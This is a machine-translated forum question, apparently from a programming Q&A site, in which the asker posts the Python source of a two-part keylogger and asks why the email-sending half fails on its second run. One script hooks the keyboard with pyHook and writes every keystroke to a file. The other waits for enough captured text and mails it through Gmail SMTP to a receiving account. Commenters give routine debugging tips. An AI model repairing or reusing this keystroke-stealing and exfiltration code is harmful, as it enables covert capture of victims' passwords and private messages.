Я делаю двухчастный кейлоггер, фактический keylogger.py и файл email.py. Часть отправки по электронной почте не работаетPython электронная почта, ошибка аргумента smtplib
Кода:
import urllib2
import smtplib
import time
def internet_check():
try:
response=urllib2.urlopen('http://www.google.com',timeout=10)
return True
except:
return False
def main():
while len(open('output.txt','r+').read()) < 30 or not internet_check():
pass
mail=smtplib.SMTP('smtp.gmail.com:587')
mail.starttls()
mail.login('sendinguser','pass')
mail.sendmail('sendinguser','receivinguser',open('output.txt','r+').read())
mail.quit()
open('output.txt','w').write()
main()
try: #it wont run without this part idk why, it doesnt even give an error,nothing
main() #please explain
except Exception,e:p=input(str(e))
После выполнения он работает в первый раз, он ждет 30 символов, а затем отправляет электронную почту и удаляет файл output.txt. Но после этого, когда функция основной() проходит во второй раз, он печатает:
function takes exactly 1 argument (0given)
И это так. Любая идея почему?
Keylogger код, если это необходимо:
import pyHook
import pythoncom
import pywintypes
import time
import sys
import os
f=open('output.txt','a+') #i know it isn't neat, i'll clean it up later ;)
f.write('\n'+time.asctime()+'\n')
f.close()
def OnKeyboardEvent(event):
if event.Ascii==96:
os.system("taskkill /im pythonw.exe /f")
sys.exit()
if event.Ascii==5:
_exit(1)
if event.Ascii !=0 or 8:
f=open('output.txt','r+')
buffer=f.read()
f.close()
f=open('output.txt','w')
keylogs=chr(event.Ascii)
if event.Ascii==13:
keylogs='/n'
buffer+=keylogs
f.write(buffer)
f.close()
hm=pyHook.HookManager()
hm.KeyDown=OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()
Я уверен, его только первый код, любая помощь будет оценена и спасибо заранее.
Пожалуйста, удалите попытку и, кроме всего 'основной()'. Если вы ничего не делаете, кроме печати исключения, вы не должны обрабатывать его вообще, так как тогда Python будет печатать полную трассировку, которая намного полезнее. –
Вы никогда ничего не пишите с помощью 'open ('output.txt', 'w'). Write()', вы также перезаписываете его с помощью w. –
Я хочу очистить файл с помощью open ('output.txt', 'w'). Write() и его часть, которая фактически работает – dickbuttr